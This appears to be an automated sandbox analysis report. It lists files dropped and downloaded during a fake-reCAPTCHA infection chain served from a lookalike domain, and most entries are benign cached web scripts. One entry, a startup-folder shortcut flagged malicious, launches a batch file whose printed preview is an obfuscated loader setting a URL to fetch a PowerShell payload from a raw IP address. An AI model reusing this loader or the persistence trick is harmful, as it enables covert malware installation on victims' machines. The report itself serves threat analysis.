Preview:	L..................F.@.. ...$+.,.........[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.YH.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YP.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YP.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YP............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YQ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............\.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 30 23:26:33 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993332595899865
Encrypted:	false
SSDEEP:
MD5:	273ECBEB486D856155002355F63501DF
SHA1:	C03468750C8EB87AA807B24543E8E1CEB4F69737
SHA-256:	595A0937347667CB0483E70420F418177D45AC96B991E0CF4EB41B564CF9306E
SHA-512:	F6840AA46E96189874B8943672ADEFE9DBFCED61F56D14D94E931094A750DA44D9BCA3CCDD407517DB1B45717866AA71D206A1530E7FDD8A6689584ED64B192B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.........[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.YH.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YP.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YP.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YP............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YQ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............\.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:///C:\Windows\Temp\Modules.bat>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.943215518587025
Encrypted:	false
SSDEEP:
MD5:	0647B2920DB31FB47F730F94F848E5B6
SHA1:	24A0653D8064DAF80F3BF0A68CB973D715D29E2D
SHA-256:	3AECC67A9BB8ABFA6F53E673BF06E41C024974642855AD0CDBE18A7F17B80A3B
SHA-512:	B969E57E4F8C3B6CA0E9EB5EF17108D6644A43D541F5DDAEA3B79F22F63610D3DEF86DCA88572D0B003D7A32412F9BDC354752CDBDC35174F40C7E72749D3D7F
Malicious:	true
Reputation:	unknown
Preview:	[InternetShortcut]..URL=file:///C:\Windows\Temp\Modules.bat..

C:\Windows\Temp\Modules.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (672), with CRLF line terminators
Category:	dropped
Size (bytes):	3495
Entropy (8bit):	3.658140003339631
Encrypted:	false
SSDEEP:
MD5:	BB445D197063475C8D78DE4F0825753C
SHA1:	158A8E3B278AFFE7C1185AAD67683E4253CF53DD
SHA-256:	7066E4A496D83EE1B677ADE06C868A432BB4A0DD364B19EE184147A527B11C10
SHA-512:	173CD8A56E2FA6E8DB33BC13870F8751473251AA80BE2235321E62B0F84961E9FD00A236AEC63342D73F262DBC7C2A920951A1A8F41707CA6640E673F21C4307
Malicious:	true
Reputation:	unknown
Preview:	@%...%e%...%c%...%h%...%o%...% %...%o%...%f%...%f%...%..s%...%e%...%t%...%l%...%o%...%c%...%a%...%l%...%....s%...%e%...%t%...% %...%"%...%u%...%r%...%l%...%=%...%h%...%t%...%t%...%p%...%:%...%/%...%/%...%1%...%4%...%7%...%.%...%4%...%5%...%.%...%4%...%4%...%.%...%1%...%3%...%1%...%/%...%i%...%n%...%f%...%o%...%p%...%a%...%g%...%e%...%/%...%v%...%f%...%r%...%c%...%x%...%q%...%.%...%p%...%s%...%1%...%"%...%..s%...%e%...%t%...% %...%"%...%h%...%e%...%a%...%d%...%e%...%r%...%N%...%a%...%m%...%e%...%=%...%X%...%-%...%S%...%p%...%e%...%c%...%i%...%a%

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78685
Entropy (8bit):	6.02034924964464
Encrypted:	false
SSDEEP:
MD5:	C8BC74B65A8A31D4C7AF2526B0C75A62
SHA1:	DD1524CA86EB241B31724A9614285A2845880604
SHA-256:	3B457E0ACFB1D231461936C78086C9EA63DE3397CBB019C4FE0182A645D67717
SHA-512:	4D7214AC44475CB4D9D848D71CAEE30A3872CAB3957FBB26A0ACA13DB1933CDA1E9799938BA1460581483123DD6F81C3193BBC80989CBA7E555F308C212841AE
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/recaptcha/releases/pPK749sccDmVW_9DSeTMVvh2/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAAGYktHRAD/AP8A/6C9p5MAAHq9SURBVHja7Z15fFTl9f/fd9ZM9n1PgCyEXSSRNYKCgAuiIipuVSuudavV1tq6W/WrtnWrrZbWDZUqUqUoCoIEQhBI2JesELKvM9mTWe7c3x83d5xAlkky8fv92ft5vfKC19znOWfuZ571POc5B1SoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKHifwGCRqsTNFrdj6VPq9XqtNofT9+wvutQyEyad8t9IaPPntFUd

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:
MD5:	37A6259CC0C1DAE299A7866489DFF0BD
SHA1:	2BE88CA4242C76E8253AC62474851065032D6833
SHA-256:	74234E98AFE7498FB5DAF1F36AC2D78ACC339464F950703B8C019892F982B90B
SHA-512:	04F8FF2682604862E405BF88DE102ED7710AC45C1205957625E4EE3E5F5A2241E453614ACC451345B91BAFC88F38804019C7492444595674E94E8CF4BE53817F
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/49asjfms4
Preview:	null

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6869), with no line terminators
Category:	downloaded
Size (bytes):	6869
Entropy (8bit):	5.44945832853652
Encrypted:	false
SSDEEP:
MD5:	E7CA1545DF235B1803301FA7A185713F
SHA1:	B6A0DFDCA8AE4BD05F6E8E981B8DC4B8113611BE
SHA-256:	56BE9A708D1D79215381F9061A38E78494477DE398AF0CBA7978BF7B7A7E2A65
SHA-512:	67CE0868123A2DE31E33286CD0174B96804DBB00E3AAE2F81C658A1DD1A1607C2D517111E772BF8C4A22C1B0C61E67747B10FB45222034D1263AF5B963A97517
Malicious:	false
Reputation:	unknown
URL:	https://try.abtasty.com/shared/commons.f810067c44981ab594bd.js
Preview:	(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[223],{5607:(t,r,e)=>{t.exports="function"==typeof Array.from?Array.from:e(2508)},2508:t=>{t.exports=function(){var t=function(t){return"function"==typeof t},r=Math.pow(2,53)-1,e=function(t){var e=function(t){var r=Number(t);return isNaN(r)?0:0!==r&&isFinite(r)?(r>0?1:-1)*Math.floor(Math.abs(r)):r}(t);return Math.min(Math.max(e,0),r)},n=function(t){var r=t.next();return!Boolean(r.done)&&r};return function(r){"use strict";var i,a,o,c=this,h=arguments.length>1?arguments[1]:void 0;if(void 0!==h){if(!t(h))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(i=arguments[2])}var f=function(r,e){if(null!=r&&null!=e){var n=r[e];if(null==n)return;if(!t(n))throw new TypeError(n+" is not a function");return n}}(r,function(t){if(null!=t){if(["string","number","boolean","symbol"].indexOf(typeof t)>-1)return Symbol.iterator;if("undefined"!=typeof Symbol&&"iterator"in Symbol&&Symbol.iterator

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18228)
Category:	downloaded
Size (bytes):	18848
Entropy (8bit):	5.638824987206706
Encrypted:	false
SSDEEP:
MD5:	E8973FE53EE0FF115E4E2986E5C49B8B
SHA1:	DEE03F081056FF34CDE4C49F834B52C9ACE6077B
SHA-256:	85DA7A3554E8C5C67E44399F8FE1622F121330D177152074D5EFBFDB844DDA8C
SHA-512:	D752B11F4DAC0C6533B43B9C0C0D2F1E87BA3B9B0E7CB6172502B22594EBD5ACAFCD87DBE397E9EEF8DDCC57730297E72002411CAB466ED505ECBF72F31D5D08
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/js/bg/hdp6NVToxcZ-RDmfj-FiLxITMNF3FSB01e-_24RN2ow.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var r=function(G,t){if(!(t=(G=null,J).trustedTypes,t)\|\|!t.createPolicy)return G;try{G=t.createPolicy("bg",{createHTML:P,createScript:P,createScriptURL:P})}catch(g){J.console&&J.console.error(g.message)}return G},J=this\|\|self,P=function(G){return G};(0,eval)(function(G,t){return(t=r())&&G.eval(t.createScript("1"))===1?function(g){return t.createScript(g)}:function(g){return""+g}}(J)(Array(Math.random()7824\|0).join("\n")+['(function(){/',.'',.' Copyright Google LLC',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var u=function(t,G,g){t[R(G,g,t),Gm]=2796},W,x=function(t,G){t.T.splice(0,0,G)},k=function(t,G,g,P,r,K){if(t.T.length){t.R=(t.bw=(t.R&&":TQR:TQR:"(),G),true);try{K=t.H(),t.Y=0,t.G=K,t.X=0,t.B=K,r=g_(t,G),G=g?0:10,P=t.H()-t.G,t.mW+=P,t.ss&&t.ss(P-t.I,t.S,t.L,t.X),t.S=false,t.L=false,t.I=0,P<G\|\|t.TP--<=0\|\|(P=Math.floor(P),t.ah.push(P<=254?P:254))}finally{t.R=false}return r}},p=t

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34752)
Category:	downloaded
Size (bytes):	754837
Entropy (8bit):	5.493085253001454
Encrypted:	false
SSDEEP:
MD5:	6F0B9555A84D200B26166F046DACD53C
SHA1:	7775E48E14F9743F1065F37CF9CAA57892EE54A7
SHA-256:	C2DD0D9DD6DB23526AC91ED8C614030750B8084B3C3145FD111F5CD43394AC64
SHA-512:	DDE8BBF2293C0B8CF1531E75431F9F260F33D08F414A9ED5C3F6BFFB3BAD36C2E002EEE0AD791F18030AE67970C8DF6555C66C2625C6088A902B4FC0FC70F43F
Malicious:	false
Reputation:	unknown
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-TGMJRCB
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"586",. . "macros":[{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__e"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"userId"},{"function":"__jsm","vtp_javascript":["template","(function(){if(0!==",["escape",["macro",2],8,16],")return ",["escape",["macro",2],8,16],"})();"]},{"function":"__d","vtp_elementId":"gtm-page-title","vtp_selectorType":"ID"},{"function":"__u","vtp_component":"QUERY","vtp_queryKey":"utm_campaign","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__remm","vtp_setDefaultValue":true,"vtp_input":["macro",5],"vtp_fullMatch":true,"vtp_replaceAfterMatch":true,"vtp_ignoreCase":true,"vtp_defaultValue":"0","vtp_map":["list",["map","key","^[0-9][0-9][0-9]*$"

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (39458)
Category:	downloaded
Size (bytes):	56258
Entropy (8bit):	6.003460086240277
Encrypted:	false
SSDEEP:
MD5:	0391C1749C3709DBFAE2174DAD0A7157
SHA1:	8EC21861D6396899BFE3E383B01385CD32A3EB28
SHA-256:	A72028A733CA16A9385A6BE0AD0848F12701FD1D42F02C198E52061F748DF1A3
SHA-512:	85E047A443B6D9028E90740A2514FF75788B9911FF89D6FDAB7C93F7C8359C66CE0CF56331170A1965FBC9EE1B18D6208DF31ED7F690451FACBBD2F015745C53
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/anc
Preview:	<html dir="ltr" lang="en">.<head>. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <title>reCAPTCHA</title>. <style type="text/css">. /* cyrillic-ext /. @font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;. }.. / cyrillic /. @font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;. }.. / greek-ext */. @font-face {. font-family: 'Roboto';.

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
Preview:	{}

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8065)
Category:	downloaded
Size (bytes):	9896
Entropy (8bit):	5.48649506215574
Encrypted:	false
SSDEEP:
MD5:	C297778D168FE8DC83119BDA786019FF
SHA1:	504EEBDEBAAE077A2871CF105CFBA27EBDCFF280
SHA-256:	33C7CF30365FF8A1F3CED716EB85EC8E1954ED2839F5C7A573B341A4C36D1B03
SHA-512:	A7F651A8AE5641FE99514696A032CEB8CF39D543CF29E719817D214F83C672F5FCE96931FDD2B1D6EF8228157232D90F4A9297084DE53FC6600E574523EF7384
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/saved_resource
Preview:	(function () {. if (typeof window.QSI === 'undefined'){. window.QSI = {};. }.. var tempQSIConfig = {"hostedJSLocation":"https://siteintercept.qualtrics.com/dxjsmodule/","baseURL":"https://siteintercept.qualtrics.com","surveyTakingBaseURL":"https://s.qualtrics.com/spoke/all/jam","BrandTier":"RQqcwhV2J1","zoneId":"ZN_09tjWJVePhLlACp"};.. // If QSI.config is defined in snippet, merge with QSIConfig from orchestrator-handler.. if (typeof window.QSI.config !== 'undefined' && typeof window.QSI.config === 'object') {. // This merges the user defined QSI.config with the handler defined QSIConfig. // If both objects have a property with the same name,. // then the second object property overwrites the first.. for (var attrname in tempQSIConfig) { window.QSI.config[attrname] = tempQSIConfig[attrname]; }. } else {. window.QSI.config = tempQSIConfig;. }.. window.QSI.shouldStripQueryParamsInQLoc = false;.})();../@preserve.**Version

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 19 tables, 1st "DSIG", 43 names, Macintosh, Copyright 2018 IBM Corp. All rights reserved.IBM Plex Sans MedmRegular3.3;IBM ;IBMPlexSans-MedmV
Category:	downloaded
Size (bytes):	166637
Entropy (8bit):	5.736499662858021
Encrypted:	false
SSDEEP:
MD5:	BB70E2898364A6824C019F5B2F9F50FA
SHA1:	8424B204B5C3256BE8CF762BEB383E84C2FC97F1
SHA-256:	E4518A056692E39CC83708C458FC1085C52A2AFB09FA91C4D65287FD4D89A8CB
SHA-512:	5C99739337FD8016EC069F81F7BE186BA9498CECB70A3578016EE2694FCE7B0A5014E5DBCBA8802CF56DDC9444C6EA549E149B6C95DD6DEADFD71912A1DB6516
Malicious:	false
Reputation:	unknown
URL:	https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Medium.c4877bdfa15aef22d9255288b16899c5.ttf
Preview:	...........0DSIG.......$....GDEF..a...T....GPOS6.&y.......XGSUB5......\....OS/2..k5.......`cmap...........Rcvt .5.....4...>fpgm.Y.7.......sgasp...!...D....glyf_.....%....(head.......<...6hhea.......t...$hmtx............loca2..$...t...Fmaxp........... meta6.<!.......DnameM.Ar.......zpost..#....`....prep...c...h.............2._.<............v......Y.......l.......................;...............................T...f.......................Y.........X...K...X...^.M.8................P. ;........IBM .........$.,.... .............. ..... .............%.(.P./.P.N...+.P./.,.+.T.....".P./...".D.N...D.....#.N...N.r.N.D.N.4.+.P.N.P./...N... .m...D.I...................$.......V.z.7...V.Q.V.:.V...7...V...8.......V...V...V...V...7.s.V...7...V.V.(.A.....R.t...........i...O.%.X./.X./.X./.X.-.X.9.X. .X.#.X.@.X.8.X.?.X.2.X.5...?...?...>...>.L.$...$.1...".H.N.H.6.R.".'.6.1.6.1...N...N...C...)...C...)...$...$.5.%.5.3...%...3..L..L...!.....P.?.P...E.V.E.8.b...d.8.......'...#...#...;.;.;.a...a...A.@...+

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41169)
Category:	downloaded
Size (bytes):	41172
Entropy (8bit):	5.505976482265553
Encrypted:	false
SSDEEP:
MD5:	56FCD6BE7D6D90E4DEA8AD82B5D52F94
SHA1:	57DC8D14FAEABB8B60F6AA9B9CF239EBCE1DE4CF
SHA-256:	8A27DC7B44EBE886390BFA0A9BEEEA36EA5A3F37479F0E0836B6C9B80D9B35ED
SHA-512:	22FDF01A8143135A3E83281F4432808BCDC83F6E27EE3FF0F3F3CD0A0610963AC2CD7959637AAB41A98E2F5807487EBB9D0EF0176DDE1117808A7E81C09BCDEB
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/insight.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	!function(){"use strict";function n(n,t,e){return t in n?Object.defineProperty(n,t,{value:e,enumerable:!0,configurable:!0,writable:!0}):n[t]=e,n}var t,e,r,i,o={ADVERTISING:"ADVERTISING",ANALYTICS_AND_RESEARCH:"ANALYTICS_AND_RESEARCH",FUNCTIONAL:"FUNCTIONAL"},a="GUEST",u="MEMBER",c=0,l=1,d=2,s=(n(t={},a,"li_gc"),n(t,u,"li_mc"),t),f=function vr(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:null,t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null,e=arguments.length>2&&arguments[2]!==undefined?arguments[2]:null,r=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;for(var i in function(n,t){if(!(n instanceof t))throw new TypeError("Cannot call a class as a function")}(this,vr),n=n\|\|{},this.consentAvailable=!1,this.issuedAt=t,this.userMode=e,this.optedInConsentMap={},o)n[i]=n[i]\|\|c,n[i]!==c&&(this.consentAvailable=!0),this.optedInConsentMap[i]=n[i]===l\|\|n[i]===c&&r===l},v=(e=[o.ADVERTISING,o.ANALYTICS_AND_RESEARCH,o.FUNCTIONAL],r=[c,l,d,c],i=new R

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.4016459163756165
Encrypted:	false
SSDEEP:
MD5:	9046FDD8B20F930F537279DEDE41E747
SHA1:	EBB905F60D71F45D056D42E6096736EA8C2D4BD9
SHA-256:	5AAC9E52F80011983676C03AD8120E0369E651E6357D0B05054026A3BC8EC32D
SHA-512:	F289C718B32D9E75E5725116D7696070C840426310B2A75E3EE66933E50B85BF738B4015FCFB8BAF7A8545B600B9820D85F8BB41C055FB0877C1420655E5E975
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js?onload=WXqDk4&render=explicit
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14157)
Category:	downloaded
Size (bytes):	31210
Entropy (8bit):	5.357305740812532
Encrypted:	false
SSDEEP:
MD5:	3ACF386FD697103F998E0E4E3CF64BFD
SHA1:	DCA1B8A58938ABB6A754047BE9D1CBC335DD1ACB
SHA-256:	48951A7F9341326F016789692290E133FC05452DA61A10E1033A49FD10CBB0CF
SHA-512:	FE3F8CF5E12F7444402AE664E54A80E4CBD146F43CA8B13DDCAB5D967F29B4AEC8241670B6635195B5B752EF486942E96060B243BCBC4DC32A84BC42F2CA1EA1
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/js_I7NztPq2E5Mt-ulsOTJLcirLUFVuFq3QxGIYz71xO38.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/* @license GPL-2.0-or-later https://www.drupal.org/licensing/faq */..(function($,Drupal,once){Drupal.behaviors.cookieproFocusHandler={attach:function attach(){var skipToContentLink=$('#skip-to-content');$(once('clickFocusHandler','body')).on('click','#onetrust-accept-btn-handler, #onetrust-reject-all-handler',function(){skipToContentLink.removeClass('focusable').blur();setTimeout(function(){skipToContentLink.addClass('focusable').blur();},10);});}};})(jQuery,Drupal,once);;..(function($,Drupal,window,document,once){Drupal.behaviors.backToTop={attach:function attach(context){var backToTopParent=$('.main-wrapper',context);var backToTopButtonMarkup=$("<button class=\"back-to-top__button\">\n <i class=\"back-to-top__icon icon icon--arrow-right\"></i>\n ".concat(Drupal.t('Back to top'),"\n </button>"));var isMobile=window.matchMedia('screen and (min-width: 0px) and (max-width: 575px)');function backToTopVisibility(){var scrollFromTop=this.pageYOffset\|\|this.document.

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64779)
Category:	downloaded
Size (bytes):	76725
Entropy (8bit):	5.313473706027314
Encrypted:	false
SSDEEP:
MD5:	305CE18A9E77E610E9077245C4106F02
SHA1:	0270310C1463C4DC1EBAC4DF4336656158DDE42F
SHA-256:	66686747FCBA3E9EFC3537CB9D122B3E415C0827AC3942449C40E4B17ABB9305
SHA-512:	2B165CCAA7E28A6A7352F285A40B1BF64DDF1AB37DF94E8E23C98AD36AA5CB5F0D7911769A0B65EBC3C23108C77ECB7797AD1AE5D56907F25D79A4113DF99627
Malicious:	false
Reputation:	unknown
URL:	https://siteintercept.qualtrics.com/dxjsmodule/10.07268bfc859327bf20d5.chunk.js?Q_CLIENTVERSION=2.20.0&Q_CLIENTTYPE=web&Q_BRANDID=roomsvisitors82831.world
Preview:	./@preserve.Version 2.20.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.20.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.20.0"]\|\|[]).push([[10],{16:function(e,t,n){"use strict";n.d(t,"a",(function(){return i})),n.d(t,"e",(function(){return r})),n.d(t,"f",(function(){retur

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34752)
Category:	downloaded
Size (bytes):	751658
Entropy (8bit):	5.4931529988225565
Encrypted:	false
SSDEEP:
MD5:	CD9BD421EFDADAFD3F98D82A8D0EBE04
SHA1:	45203E4BA1DC2FB7396C197BB644E26368FEC76F
SHA-256:	7C8BA8B44C2D5D7E2C4261299AD5F620DC354782A87A5212618E238D20C8BF7A
SHA-512:	6163377B80DF5B72ABDE86BA6F4DF985DEBF36368CBD58713C2E3253E9BAE3C8B9A71BE78B3CCA8F86516D6B8DBD56648F180D7CF5B1370836D0BDA3A6A63234
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/gtm.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
